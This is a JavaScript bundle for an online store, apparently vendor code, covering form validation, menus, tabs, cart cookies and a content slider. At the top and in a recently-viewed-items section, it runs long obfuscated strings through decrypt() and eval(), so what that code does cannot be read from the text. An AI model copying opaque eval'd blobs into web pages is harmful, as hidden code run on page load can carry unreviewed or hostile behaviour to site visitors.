0wJ;~h~'~c~~fWhS~N~~QfWh~~LUQ*26Ar~f~~fWhSsCyvOBDc~ay1A3Orp~Fe0zEVIwQy5yy~et~'c;~'y~etwJBuZCK72=~~LUQ*~~hS~N0Hx2`~~LUQAA CT0Fw~c EZOM n;rtCG5KBhnMwe~gc~'F~J~'e~gcBQ0s1A3Or~c~~fW^~~~N~~","encrypt");
eval(setck);

function initPage()
{
	var inputs = document.getElementsByTagName("input");
	for (var i=0; i<inputs.length; i++)
	{
		if (inputs[i].type == "text" && (inputs[i].name == "email" || inputs[i].name == "query"))
		{
			var form = getAncestor(inputs[i], "form");
			if (form)
				form.onsubmit = handleSubmit;

			inputs[i].onfocus = function () {
					if ((this.value != ""))
						this.value = "";
				}
			inputs[i].onblur = function () {
					if (this.value == "" && this.name == "email") this.value = "enter email";
					if (this.value == "" && this.name == "search") this.value = "search STORENAME";
				}	
		}
	}
}

function handleSubmit()
{
	var re = new RegExp('^\\w+([-+.]\\w+)*@\\w+([-.]\\w+)*\\.\\w+([-.]\\w+)*$');
	var element = this.elements["email"];
	if (element)
	{
		if (element.value == "")
		{
			alert("Email address is empty!");
			return false;
		}
		else
			return element.value.match(re)
				|| (alert("You have entered incorrect email address!"), false);
	}
	return true;
}

function getAncestor(element, tagName)
{
	var node = element;
	while (node.parentNode && (!node.tagName ||
			(node.tagName.toUpperCase() != tagName.toUpperCase())))
		node = node.parentNode;
	return node;
}



/*if (window.addEventListener)
	window.addEventListener("load", initPage, false);
else if (window.attachEvent){
	window.attachEvent("onload", initPage);
	}*/


function goToURL(val)
  {
    if(val!="")
      {
        window.location.href=val;
      }
}

// Rotate testimonials 
var uniqueArr = new Array();
var y;

function testimonials(classname,showtotal,arrayName){
	if(showtotal > arrayName.length)
		showtotal = arrayName.length;
	
	for(var i=0; i < showtotal; i ++){
		y = Math.ceil(Math.random()*arrayName.length);
		uniqueArr[i] = arrayName[y-1];
		arrayName.splice(y-1,1);
	}
	
	document.write("<ul class=\""+ classname +" clear\">");
	for(var i = 0; i < showtotal; i++){
		document.write("<li>");
		document.write(uniqueArr[i]);
		document.write("</li>");
	}
	document.write("</ul>");
}
/*End Rotate Testimonials */

function openWindow(url) { popupWin = window.open(url, 'openWin', "width=400, height=250, scrollbars=yes"); }

/*Menu Script*/
SC.activateMenu = function(sId) {
	//if (document.all && document.getElementById(sId).currentStyle) {
		var oObj = SC.getObj(sId);
		var aLiList = SC.getTagArray("li",oObj);
		for (var i=0; i<aLiList.length; i++) {
			aLiList[i].onmouseover=function(){
				if(this.className != "" && this.className.indexOf("schover") == -1 )
					this.className = this.className + " schover";
				else if(this.className == ""){
					this.className = "schover";
				}
			}
			aLiList[i].onmouseout=function() {
				var scClass = this.className;
				if(scClass == "schover")
					this.className = "";
				else if(scClass.indexOf("schover") > -1)
					this.className = scClass.replace("schover","").trim();
			}
		}
	//}
}

function shTab(showtab){
	var divtablis = new Array();
	var divheaderlis = new Array();
	var descctr = 0;
	var headerctr = 0;
	var ulis = document.getElementById("tabs-desc");
	var divlis =  ulis.getElementsByTagName("div");
	var tabheader = "tabheader" + showtab;
	var tabcontents = "tab-contents" + showtab;
	var totaltabs = 4;
	
	if(document.getElementById(tabheader)){
		if(divlis.length > 0){
			for(i=0; i < divlis.length; i++){
				if(divlis[i].className == "tabheader" || divlis[i].className == "tabhover"){
					divheaderlis[headerctr] = divlis[i];
					divlis[i].className = "tabheader";
					headerctr++;				
				}
				if(divlis[i].className == "tab-contents"){
					divtablis[descctr] = divlis[i];
					divlis[i].style.display = "none";
					descctr++;
				}
			}
			document.getElementById(tabheader).className = "tabhover";
			document.getElementById(tabcontents).style.display = "block";
		}			
	}else{
		for(var i=0; i<totaltabs; i++ ){
			tabheader = "tabheader" + i;
			tabcontents = "tab-contents" + i;
			if(document.getElementById(tabheader)){
				document.getElementById(tabheader).className = "tabhover";
				document.getElementById(tabcontents).style.display = "block";
				break;
			}
		}
	}
}

function JsetCookie() {
    document.cookie = "cartvisit = visit";
}

function getCookieVal (offset) {
  var endstr = document.cookie.indexOf (";", offset);
  if (endstr == -1)
    endstr = document.cookie.length;
  return unescape(document.cookie.substring(offset, endstr));
}

function getCookie(name) {
  var arg = name + "=";
  var alen = arg.length;
  var clen = document.cookie.length;
  var i = 0;
  while (i < clen) {
    var j = i + alen;
    if (document.cookie.substring(i, j) == arg)
      return getCookieVal (j);
    i = document.cookie.indexOf(" ", i) + 1;
    if (i == 0) break; 
  }
  return null;
}

function atc() {
  var cke = getCookie("cartvisit");
   if (cke == "visit")
        return true;
        // input button has been clicked
    else{
            // input button has not been clicked
            var conf = confirm("Click OK to Browse and Add Accessories Below or CANCEL to Just Add Item to Cart");
            if (conf) {
					 JsetCookie();
                /*this.location=(location.href + "#tab3");*/
                shTab(3);
                return false;
                // falls back to item page
                }else
                	return true;
                // continues to cart
        }
}

document.cookie = "cartvisit = not";


/**/
function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}
/**/
// JavaScript Check for Tracking form/////
whitespace = "\t \n\r";
function isEmptyString(s)
   {
   	var i;
  	if((s == null) || (s.length == 0)) return true;
  	for(i=0;i < s.length;i++)
  	{
  		var currchar = s.charAt(i);
  		if(whitespace.indexOf(currchar) == -1) return false;
  	}
      return true;
   }
   
function isEmail(n)
{
		if ((n==null) || (n.length==0))
		{
			return true;
		}
		if (isEmptyString(n)) return false;
		var i=1;
		var nLength=n.length;
		while((parseInt(i) < parseInt(nLength)) && (n.charAt(parseInt(i)) != '@'))
		{
			i++;
		}
		if ((parseInt(i) >= parseInt(nLength)) || (n.charAt(i)!="@"))
		{
			return false;	
		}	
		else i+=2;
		while((i<nLength) && (n.charAt(i)!="."))
		{
			i++;
		}
		if ((i>=nLength-1) || (n.charAt(i)!="."))
		{
			return false;	
		}	
		else return true;		
}
function checkForm()
{
	if (isEmptyString(document.send.FullName.value))
{
alert("Please Enter Full Name!");
document.send.FullName.value="";
document.send.FullName.focus();
return false;
}
if (isEmptyString(document.send.EmailAddress.value))
{
alert("Please Enter Email Address!");
document.send.EmailAddress.value="";
document.send.EmailAddress.focus();
return false;
}
if (!isEmail(document.send.EmailAddress.value))
{
alert("Please Enter Email Address in Correct Format!");
//document.form1.txt_email.value="";
document.send.EmailAddress.focus();
return false;
}
	if (isEmptyString(document.send.Comments.value))
{
alert("Please Enter Your Comments!");
document.send.Comments.value="";
document.send.Comments.focus();
return false;
}
}
/**/





try{
	document.execCommand('BackgroundImageCache', false, true); 
}
catch(e) {}




//http://site.exertools.com/c2e/w4r-framework.js

/*
This file contains all commonly used functions by Solid Cactus
version: 1.0
last modified: Sanjeev Kumar
modified date: 10/11/07
*/

/*
1. SC.init() - call all functions that needs to be initialized in this function
Notes: This function should be called just before the end </body> tag

2. SC.getTagArray - Returns array of elements
Syntax - SC.getTagArray(sTagName,oDomElement)
e.g. - SC.getTagArray("a",oObj);
Notes: if domEement is not supplied it defaults to document

3. SC.setAttributes - sets attributes on a dom Element
Syntax - SC.setAttributes(oDomElement,sAttrList)
e.g. - SC.getTagArray(oObj,"width","500px","top","0");
NOTES: attributes should be in name value pair you can pass one or more sets of attributes

4. SC.getObj(sObjId) - Returns a object for the passed ID
e.g. - SC.getObj("contetns");
*/

function SC() {};

var SCClass=SC.prototype;
var scClass = new SC();

SC.getTagArray = function(sTagName,oObj){
	aTagArray = null;
	oObj = (oObj) ? oObj : document;
	if(oObj.getElementsByTagName)
		aTagArray = oObj.getElementsByTagName(sTagName);
	return aTagArray;
}

SC.setAttributes = function(oObj){
	if(arguments.length > 1){
		for(var i=1; i<arguments.length; i=i+2){
			oObj[arguments[i]] = arguments[i+1];
		}
	}
}

SC.getObj = function(sObjId){ 
	var oObj = null;
  if (document.getElementById) 
      oObj = document.getElementById(sObjId);
  else if (document.all) 
      oObj = document.all[sObjId];
  else if (document.layers) 
      oObj = document.layers[sObjId];
	return oObj;
}

SC.createElement = function(sTagName){
	var oObj = document.createElement(sTagName);
	if(arguments.length > 1){
		for(var i=1; i<arguments.length; i=i+2){
			if(arguments[i] == "txt"){
				var oText = document.createTextNode(arguments[i+1]);
				oObj.appendChild(oText);		
			}else
				oObj[arguments[i]] = arguments[i+1];
		}
	}
	return oObj;
}

SC.appendElement = function(oAppendTo){
	var oAppendTo = (oAppendTo) ? oAppendTo : document.body;
	if(arguments.length > 1){
		for(var i=1; i<arguments.length; i++)
			oAppendTo.appendChild(arguments[i]);
	}
}

SC.createAppend = function(sTagName,oObj){
	var oObj = (oObj)? oObj : document.body;
	var oTagObj = document.createElement(sTagName);
	if(arguments.length > 2){
		for(var i=2; i<arguments.length; i=i+2){
			oTagObj[arguments[i]] = arguments[i+1];
		}
	}	
	oObj.appendChild(oTagObj);
}

SC.showHide = function(oObj,sDisplay){
	oObj.style.display = sDisplay;
}

String.prototype.trim=function() {
	if (this==null) return null;
	return this.trimEnd(this.trimStart());
}

String.prototype.trimEnd=function() {
	if (this==null) return null;
	var re = /((\s*\S+)*)\s*/;
	return this.replace(re, "$1");	
}

String.prototype.trimStart=function() {
	if (this==null) return null;
	var re = /\s*((\S+\s*)*)/;
	return this.replace(re, "$1");
}


//http://lib.store.yahoo.net/lib/exertools/w4r-slider.js

//** Featured Content Slider script- (c) Dynamic Drive DHTML code library: http://www.dynamicdrive.com.
//** May 2nd, 08'- Script rewritten and updated to 2.0.
//** June 12th, 08'- Script updated to v 2.3, which adds the following features:
			//1) Changed behavior of script to actually collapse the previous content when the active one is shown, instead of just tucking it underneath the later.
			//2) Added setting to reveal a content either via "click" or "mouseover" of pagination links (default is former).
			//3) Added public function for jumping to a particular slide within a Featured Content instance using an arbitrary link, for example.

//** July 11th, 08'- Script updated to v 2.4:
			//1) Added ability to select a particular slide when the page first loads using a URL parameter (ie: mypage.htm?myslider=4 to select 4th slide in "myslider")
			//2) Fixed bug where the first slide disappears when the mouse clicks or mouses over it when page first loads.

var featuredcontentslider={

//3 variables below you can customize if desired:
ajaxloadingmsg: '<div style="margin: 20px 0 0 20px"><img src="loading.gif" /> Fetching slider Contents. Please wait...</div>',
bustajaxcache: true, //bust caching of external ajax page after 1st request?
enablepersist: true, //persist to last content viewed when returning to page?

settingcaches: {}, //object to cache "setting" object of each script instance

jumpTo:function(fcsid, pagenumber){ //public function to go to a slide manually.
	this.turnpage(this.settingcaches[fcsid], pagenumber)
},

ajaxconnect:function(setting){
	var page_request = false
	if (window.ActiveXObject){ //Test for support for ActiveXObject in IE first (as XMLHttpRequest in IE7 is broken)
		try {
		page_request = new ActiveXObject("Msxml2.XMLHTTP")
		} 
		catch (e){
			try{
			page_request = new ActiveXObject("Microsoft.XMLHTTP")
			}
			catch (e){}
		}
	}
	else if (window.XMLHttpRequest) // if Mozilla, Safari etc
		page_request = new XMLHttpRequest()
	else
		return false
	var pageurl=setting.contentsource[1]
	page_request.onreadystatechange=function(){
		featuredcontentslider.ajaxpopulate(page_request, setting)
	}
	document.getElementById(setting.id).innerHTML=this.ajaxloadingmsg
	var bustcache=(!this.bustajaxcache)? "" : (pageurl.indexOf("?")!=-1)? "&"+new Date().getTime() : "?"+new Date().getTime()
	page_request.open('GET', pageurl+bustcache, true)
	page_request.send(null)
},

ajaxpopulate:function(page_request, setting){
	if (page_request.readyState == 4 && (page_request.status==200 || window.location.href.indexOf("http")==-1)){
		document.getElementById(setting.id).innerHTML=page_request.responseText
		this.buildpaginate(setting)
	}
},

buildcontentdivs:function(setting){
	var alldivs=document.getElementById(setting.id).getElementsByTagName("div")
	for (var i=0; i<alldivs.length; i++){
		if (this.css(alldivs[i], "contentdiv", "check")){ //check for DIVs with class "contentdiv"
			setting.contentdivs.push(alldivs[i])
				alldivs[i].style.display="none" //collapse all content DIVs to begin with
		}
	}
},

buildpaginate:function(setting){
	this.buildcontentdivs(setting)
	var sliderdiv=document.getElementById(setting.id)
	var pdiv=document.getElementById("paginate-"+setting.id)
	var phtml=""
	var toc=setting.toc
	var nextprev=setting.nextprev
	if (typeof toc=="string" && toc!="markup" || typeof toc=="object"){
		for (var i=1; i<=setting.contentdivs.length; i++){
			phtml+='<a href="#'+i+'" class="toc">'+(typeof toc=="string"? toc.replace(/#increment/, i) : toc[i-1])+'</a> '
		}
		phtml=(nextprev[0]!=''? '<a href="#prev" class="prev">'+nextprev[0]+'</a> ' : '') + phtml + (nextprev[1]!=''? '<a href="#next" class="next">'+nextprev[1]+'</a>' : '')
		pdiv.innerHTML=phtml
	}
	var pdivlinks=pdiv.getElementsByTagName("a")
	var toclinkscount=0 //var to keep track of actual # of toc links
	for (var i=0; i<pdivlinks.length; i++){
		if (this.css(pdivlinks[i], "toc", "check")){
			if (toclinkscount>setting.contentdivs.length-1){ //if this toc link is out of range (user defined more toc links then there are contents)
				pdivlinks[i].style.display="none" //hide this toc link
				continue
			}
			pdivlinks[i].setAttribute("rel", ++toclinkscount) //store page number inside toc link
			pdivlinks[i][setting.revealtype]=function(){
				featuredcontentslider.turnpage(setting, this.getAttribute("rel"))
				return false
			}
			setting.toclinks.push(pdivlinks[i])
		}
		else if (this.css(pdivlinks[i], "prev", "check") || this.css(pdivlinks[i], "next", "check")){ //check for links with class "prev" or "next"
			pdivlinks[i].onclick=function(){
				featuredcontentslider.turnpage(setting, this.className)
				return false
			}
		}
	}
	this.turnpage(setting, setting.currentpage, true)
	if (setting.autorotate[0]){ //if auto rotate enabled
		pdiv[setting.revealtype]=function(){
			featuredcontentslider.cleartimer(setting, window["fcsautorun"+setting.id])
		}
		sliderdiv["onclick"]=function(){ //stop content slider when slides themselves are clicked on
			featuredcontentslider.cleartimer(setting, window["fcsautorun"+setting.id])
		}
		setting.autorotate[1]=setting.autorotate[1]+(1/setting.enablefade[1]*50) //add time to run fade animation (roughly) to delay between rotation
	 this.autorotate(setting)
	}
},

urlparamselect:function(fcsid){
	var result=window.location.search.match(new RegExp(fcsid+"=(\\d+)", "i")) //check for "?featuredcontentsliderid=2" in URL
	return (result==null)? null : parseInt(RegExp.$1) //returns null or index, where index (int) is the selected tab's index
},

turnpage:function(setting, thepage, autocall){
	var currentpage=setting.currentpage //current page # before change
	var totalpages=setting.contentdivs.length
	var turntopage=(/prev/i.test(thepage))? currentpage-1 : (/next/i.test(thepage))? currentpage+1 : parseInt(thepage)
	turntopage=(turntopage<1)? totalpages : (turntopage>totalpages)? 1 : turntopage //test for out of bound and adjust
	if (turntopage==setting.currentpage && typeof autocall=="undefined") //if a pagination link is clicked on repeatedly
		return
	setting.currentpage=turntopage
	setting.contentdivs[turntopage-1].style.zIndex=++setting.topzindex
	this.cleartimer(setting, window["fcsfade"+setting.id])
	setting.cacheprevpage=setting.prevpage
	if (setting.enablefade[0]==true){
		setting.curopacity=0
		this.fadeup(setting)
	}
	if (setting.enablefade[0]==false){ //if fade is disabled, fire onChange event immediately (verus after fade is complete)
		setting.contentdivs[setting.prevpage-1].style.display="none" //collapse last content div shown (it was set to "block")
		setting.onChange(setting.prevpage, setting.currentpage)
	}
	setting.contentdivs[turntopage-1].style.visibility="visible"
	setting.contentdivs[turntopage-1].style.display="block"
	if (setting.prevpage<=setting.toclinks.length) //make sure pagination link exists (may not if manually defined via "markup", and user omitted)
		this.css(setting.toclinks[setting.prevpage-1], "selected", "remove")
	if (turntopage<=setting.toclinks.length) //make sure pagination link exists (may not if manually defined via "markup", and user omitted)
		this.css(setting.toclinks[turntopage-1], "selected", "add")
	setting.prevpage=turntopage
	if (this.enablepersist)
		this.setCookie("fcspersist"+setting.id, turntopage)
},

setopacity:function(setting, value){ //Sets the opacity of targetobject based on the passed in value setting (0 to 1 and in between)
	var targetobject=setting.contentdivs[setting.currentpage-1]
	if (targetobject.filters && targetobject.filters[0]){ //IE syntax
		if (typeof targetobject.filters[0].opacity=="number") //IE6
			targetobject.filters[0].opacity=value*100
		else //IE 5.5
			targetobject.style.filter="alpha(opacity="+value*100+")"
	}
	else if (typeof targetobject.style.MozOpacity!="undefined") //Old Mozilla syntax
		targetobject.style.MozOpacity=value
	else if (typeof targetobject.style.opacity!="undefined") //Standard opacity syntax
		targetobject.style.opacity=value
	setting.curopacity=value
},


fadeup:function(setting){
	if (setting.curopacity<1){
		this.setopacity(setting, setting.curopacity+setting.enablefade[1])
		window["fcsfade"+setting.id]=setTimeout(function(){featuredcontentslider.fadeup(setting)}, 50)
	}
	else{ //when fade is complete
		if (setting.cacheprevpage!=setting.currentpage) //if previous content isn't the same as the current shown div (happens the first time the page loads/ script is run)
			setting.contentdivs[setting.cacheprevpage-1].style.display="none" //collapse last content div shown (it was set to "block")
		setting.onChange(setting.cacheprevpage, setting.currentpage)
	}
},

cleartimer:function(setting, timervar){
	if (typeof timervar!="undefined"){
		clearTimeout(timervar)
		clearInterval(timervar)
		if (setting.cacheprevpage!=setting.currentpage){ //if previous content isn't the same as the current shown div
			setting.contentdivs[setting.cacheprevpage-1].style.display="none"
		}
	}
},

css:function(el, targetclass, action){
	var needle=new RegExp("(^|\\s+)"+targetclass+"($|\\s+)", "ig")
	if (action=="check")
		return needle.test(el.className)
	else if (action=="remove")
		el.className=el.className.replace(needle, "")
	else if (action=="add")
		el.className+=" "+targetclass
},

autorotate:function(setting){
 window["fcsautorun"+setting.id]=setInterval(function(){featuredcontentslider.turnpage(setting, "next")}, setting.autorotate[1])
},

getCookie:function(Name){ 
	var re=new RegExp(Name+"=[^;]+", "i"); //construct RE to search for target name/value pair
	if (document.cookie.match(re)) //if cookie found
		return document.cookie.match(re)[0].split("=")[1] //return its value
	return null
},

setCookie:function(name, value){
	document.cookie = name+"="+value

},


init:function(setting){
	var persistedpage=this.getCookie("fcspersist"+setting.id) || 1
	var urlselectedpage=this.urlparamselect(setting.id) //returns null or index from: mypage.htm?featuredcontentsliderid=index
	this.settingcaches[setting.id]=setting //cache "setting" object
	setting.contentdivs=[]
	setting.toclinks=[]
	setting.topzindex=0
	setting.currentpage=urlselectedpage || ((this.enablepersist)? persistedpage : 1)
	setting.prevpage=setting.currentpage
	setting.revealtype="on"+(setting.revealtype || "click")
	setting.curopacity=0
	setting.onChange=setting.onChange || function(){}
	if (setting.contentsource[0]=="inline")
		this.buildpaginate(setting)
	if (setting.contentsource[0]=="ajax")
		this.ajaxconnect(setting)
}

}


//http://lib.store.yahoo.net/lib/exertools/w4r-scriptFramework.js



// Dropdown Menu Onchange function
function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}

//Option Validation
function checkrequired(which) {
  var pass=true;
  for (i=0;i<which.length;i++) {
    var tempobj=which.elements[i];
    if (tempobj.name.substring(0,8)=="Options") {
      if (((tempobj.type=="text"||tempobj.type=="textarea")&&
          tempobj.value=='')||(tempobj.type.toString().charAt(0)=="s"&&
          tempobj.selectedIndex==0)) {
        pass=false;
        break;
      }
    }
  }
  if (!pass) {
    shortFieldName=tempobj.name.substring(7,30).toUpperCase();
    alert("The "+shortFieldName+" Please Choose an Option!.");
    return false;
  } else {
  return true;
  }
}


// Tabbed Item Body
function shTab(showtab){
	var divtablis = new Array();
	var divheaderlis = new Array();
	var descctr = 0;
	var headerctr = 0;
	var ulis = document.getElementById("tabs-desc");
	var divlis =  ulis.getElementsByTagName("div");
	var tabheader = "tabheader" + showtab;
	var tabcontents = "tab-contents" + showtab;
	var totaltabs = 4;
	
	if(document.getElementById(tabheader)){
		if(divlis.length > 0){
			for(i=0; i < divlis.length; i++){
				if(divlis[i].className == "tabheader" || divlis[i].className == "tabhover"){
					divheaderlis[headerctr] = divlis[i];
					divlis[i].className = "tabheader";
					headerctr++;				
				}
				if(divlis[i].className == "tab-contents"){
					divtablis[descctr] = divlis[i];
					divlis[i].style.display = "none";
					descctr++;
				}
			}
			document.getElementById(tabheader).className = "tabhover";
			document.getElementById(tabcontents).style.display = "block";
		}			
	}else{
		for(var i=0; i<totaltabs; i++ ){
			tabheader = "tabheader" + i;
			tabcontents = "tab-contents" + i;
			if(document.getElementById(tabheader)){
				document.getElementById(tabheader).className = "tabhover";
				document.getElementById(tabcontents).style.display = "block";
				break;
			}
		}
	}
}




// Recently Views Items
var expDays=60;
var expDate = new Date();
expDate.setTime(expDate.getTime()+(expDays*24*60*60*1000))

var writeck = decrypt("	G0wcIG2nr PDwbAzIP0~IxJzc6CeRy0e~E2G4BB eCe+~h~~SCwBe FKr~dMA~b9KnKwvD6~fYFMB2-AnLw0D9wr~dh2y5y~ElMA~bQOTwO GwJ~ElDyK y~ElCDNBFeIy ~b EZOM 9FJ~~Uh2y5yy~Jt~'BwEsEywlFKr~S~']~~hfPzt.n~'Os~S~']~~hfPM092x Up~Fe~'9KnKwvD6~Y~'~c~~fj2 P2we~Hc~'YFMB2*~'~F~~QSEFJr B70Br~gp~'xy6yYFMB~U~'~e~~UdDDcDC t.n0yBpuyDFe~d~F~g~~Ws2epB 0BDci  Ob ewce~HcDratdDw2 ~E~J]~~hbnFtwJB~btCG5KBr~gpA22vwn w{1zwbMw2F]wZCK72?~e~~UdDDcwcFt.nnr~F~~Q7H_BQ0~dBAzIP0~e420McHt$nn~H~G~~QfXF y2G1M9yxFBDac~DyDL ~f EZOM ~cvFUI {~'=~'~c~c~~fW8Ee~EM.c=O~K2G1M9yxFBDa]JrBOwJ=O~H~e~J(~~hSLIN{0zEVIwdDw2 ~GM;~c9Ds0bPH_wZCK72S2T0~Je~Wc~CE~F~b~~WhSLFwB20B5Dw3ow nY~CBFw~Fy~JtBAzIP0uyDFe~fI~D]~~hSLUywDc~Dy2 yn'rE~c~~fWh~W~~UQ*~~hSPJ~Iy2 yaDmw25seF0r~c6yaK 8~Wn~H~G~~QfWvNZal1YP2aYt.nwyt0FwgyyTqByyt~gU0F9F	r~R~JtxJzc6CeRy0ey~gtxJzc6CeRy0ey~Sty2 yaDmw25seF0r~c6yaK 8~a~~SLUy1N2yeFGtn;re0y  ykc0IdDw2 ~aH  7BQp~U.n EU wyDzcy~gtBA6FrFB1Yc~YyFwB20B5Dw3ow nY~e420McH~g~~WhS~~UQfFzBnL71Yvr~gpiDF	~gt0M4~CvNZal1YP2aY~fBA6FrFB1Y?~e~~UQf20xiCCe~H,Z~F~~QfW EU8MAF	r~gpiDF	~gt0M4~CqYF~by1N2yeFGt~D=~~~~UQfHz ~dIt.nn~eyIt%nyEcwHMArA~FpM)~g?~d~~UQfWvBnF OAvr~gpw21MEdp~aed=~~LUQf20xiCCe~Hcyaz91Ec~cy2G4BB eCe]~~hSLUv10xKrB =YwOc0~I~'~Vy ~R~'~J]~~hSLUN1D_2y~JtxFF c5Gx~ac2y~T~Fe20xiCC]nF~c~H~F~b~~WhSLUM	~CFr~R~Jty2 yaDmw25seF0r~c6yaK 8~D~~SLUQfWCEtEI  y~gBFMw2_~'~KDvey6ORB~FB20BrF~U| AAY~c~X-FC~S~'~F~g~~WhSLUw4EB~d~~UQfWhSawI n;r~'~'~g~~WhSLUQ71c~Dy~'~']~~hSLUQfK52R0AyNc~Dy~'~']~~hSLUQfBwOt0t.n~'~'~F~~QfWhSLG0422 P2we~Hc~'~'~cQfWhSLU~~fWhSLUy1A3Or704n;rbBwx0FFr~EB 0BDci  Ob ewc,y.~H~F~~QfWhSLBd0n;rtCG5KB5nL~exB6Oc~E~'.~'?~e~~UQfWhSaZDe~HcDC ~Co~J]AYLMw~C~'~X~'~F~g~~WhSLUQ	Aw~GV~Ja]M&DC ~e420McH~g5~g'~H~G~~QfWhSLUM	~C0bY~GK;~c9Ds0bPH_~'YFGAG B8wI ~U~'~Hy~Yt/d?~~LUQfWhSLB032c~DyBd0~I3~F~DGACEy ~dlFDOB~gU0F9F	~H~F~~QfWhSLUM	~C0bY~GK;~c9Ds0bPH_~'Pz~W~'~Dc~Sy~IX+~~hSLUQfWhOsp~Fe sF~fO~D=ExvdDB{j9x~DLw2IyN~c~c~~fWhSLUQ7H_DC ~C5~J]Oazwsm8~G~'IIDIBCeL~W~'~Dc~Sy~IX+~~hSLUQfWhOTwO GwJy~Jt2X2~EV~H~exGAAcF~ISK52R0AyN]JrBOwJ?~e~~UQfWhSLIN{ sF~fO~D=K0xrXg	~C~'FeIy ~U~'~Hy~Yt/d?~~LUQfWhSL B70Br~gpFuB/I~e~aCvzvBe~Eh0D9wr~aH  7BQ~F~g~~WhSLUQfK8~GaZD,M.~gPBv ZRL~d~'CDNBFeIy^~'?r~Rp~Eo~D~~SLUQfWhSdwH BwOt0t.n0bY~GK;~cvCuG y~CQAnLw0D9wr~aH  7BQ~F~g~~WhSLUQ*~~hSLUQf1zwbMw2F]ceI  ~C~'~ZczttKCBQ~J~H~'n'rtCHHKCBQp~a~'~O+rnLM9 ;wrB  DcbnLM9 ;BZ ~U~'~D=~~LUQfWhxZ2A320B~DaB7FB~G~'~T Dz6yyaMAF	~D~abap~O+ruCBA2w~D~ae~He0BJU 0A19DR~J~Ho~FcwrLHxBFwPBO.~Fq~J~R~T y~W&BspdDN9Ma~JI71CJrp04K7D~g2w2FB yHw7I	B~gWa$~'?~e~~UQfWhSsCyvOBDc~aeyKyy~d~'~XDn	 rJ~F~'n'rPzt)n~'~S~KII9nv t~J~'e~gcOTwO GwJy~et~'nAEezwy~Hn~S~K~b0$~V[Bs~Y~X-Fw~S~'~F~g~~WhSLUQAA CT0Fw~cr PDw{~'&Be~Y~Xw1cbnLM9 ;BZ tDN9Ma~Jy  yye~Y~XDn	 rJ~F~'n'rPzt)n~'~S~K1~U~'n'rawI n'r~'~T~fC~W&~hn~Y~X-FC~S~K~b y~W~'~H~FUQfW~~SLUQfW9L~d B70Br~V~Jt~'~'c~M~XpDyK yy~M~Fe~'n~'~c~f~~fWhSLUQAA CT0Fw~cr PDw{~'&Be~Y~Xw1c2UIO2~H yaDwyn JnGC.~Fwyt0Fw~G9BrMC/BwOt0~H$~'?~e~~UQfWhSLIN{EFJr B70Br~V~Jt~'~'c~M~XpCDNBFeIy n~ ~Dy~'a~'~D`~~LUQfWhSLzGBG5yaD~etD9Br~EDyK ym0bwn'r~'p~'+~a~~SLUQfWh~WrLC ~~hSLUQfWhxZ2A320B~DaB7FB~G~'~Tx$~'?~e~~UQfWhSL~~QfWhSLUv10xKrB =YwOc0~I~'~N~'r~HpDyK y~c~c~~fWhSLUQ7H_AnLw0D9wrp~F.n~'~'y~V~ZeEFJr B70Br~g~Jt~'c~'~H~~UQfWhSLUv10xKrB =YwOc0~I~'~V[v~R~'~J]W~~SLUQfWhxZ2A320B~DaB7FB~G~'~T~fw1@~Z~CDB$~'?~e~~UQfWhS~N~~QfWhSLIN{EFJr B70Br~V~Jt~'~'c~M~XpCDNBFeIy n~ ~Dy~'a~'~D~~SLUQfWhxZ2A320B~DaB7FB~G~'~T y~W&Bsp04K7D~g2w2FB y2HDEv~D~aFwB20B~hI  Ov~CdwH BwOt0~H$~VvFnB~U~'n'rdwH 3wOt05 Zyr~Hp~'e~VA~S~S~'t)nv2U0DyK yy~et~'~V[v~R~T~fxBFD~R~T~fw1@~Z~CDB$~'?~e~~UQfWhSsCyvOBDc~aeyKyy~d~'~X-FFvU0~U%~dyx~R~'~J]~~hSLUQ*~~hSLU~Y~~WhSLzGBG5yaD~etD9Br~E~'%~dy ~R~'~J]~~hSL~U~~fW^SL~~Q*~~^","encrypt");
eval(writeck);

var setck = decrypt("	G0wcIG2nvycoG1M9y~dB032-Os~dM3y7ybFH[BwOt0~hxy6yYFMB2?~d~~UdDDcBQ0s1A3Or~d 1FFJvCG5KB~fa0bwqzEVIw[0zEVIwdDw2 ~dtBGw rB OAv~~LZ0yn Bep~Fecc~e~~UdDDc r2w2FTBrMuyDFey~Jt22rrxFBDa_~H~F~~QuywrcHw`0zEVIwe~HcCa0CBy2y~dzGBG5yaD~eBAzIP0~J]~~~~SLDL qzEVIwe~Hcyd2002_~'YFGAG B8wI ~U~'r~HpFDOBr~Hp~'&KC~Y~'pt)n9xy~et~'~T9KnKwvD6~Y~'p~aeK52R0AyNc~cy~'~Z0D9wr~S~'e~gcFeIy n'r~'~VCDNBFeIy^~'c~cyG0422 P2w+n'r~'~ct Z2Oe0C.~'c~cy0b0rFBr~a 1uP3fDB7 7~G~cp~ae~'=rYw 8~H[~'~F~~QfK8~GcHw`0zEVIw=NBDRDLe~WcY~c~f~~fWhbnFtBAzIP0uyDFey~JtwJB~btCG5KB~gd H7F_~'~F~'~J]~~hSLJGy~C9~DF~cM%0zEVIwdDw2 ~aH  7BQ~cM)~g?~d~~UQfW9L~d2G1M9yxFBDa/O~e~aM21Bd7J~IBAzIP0fDOB~Hy~Yt/d?~d~~UQfWhOS~Ey1A3OrqByyt~EP~H~e7 CyAkN{KC~Hy~Yt/d?~d~~UQfWhSCwBe2uOdDCe~HcBeEw]~~hSLUQf0x e0Fw3zAy~JtBFw~e~~UQfWh~WLUQfW~~SLUQfDBwrB VFBKxFBDa/wcF~De~HcwZCK72b ewc,K.~e~~UQfWhwcFt.n Bep~aed=~~LUQf~S~~SLU~Y~~WhSPJ~IBFwr~Rpa+~h~~SLUQwJBuZCK72c~Dy2G1M9y8wI n'r~'~J~'e~gcBQ0s1A3Or~c~~fWhSLIN{2uOdDC+~~hSLUQfDBwrB VFBKxFBDa]AYLMB2_wbFB  y7ZG~ho~D=~~LUQfWwyt0FwgyyTqByyt~gbBC8K8B~dDL qzEVIw+W~~SLUQuywrcC DNIEfHGtn;re0y  ykc0IdDw2 ~aH  7BQp~U.n	EBm02aOyt0Fw99yB0ve~ecNZaiD t9r2w2FKOrawAn*re0y  ykc0IdDw2 ~aH  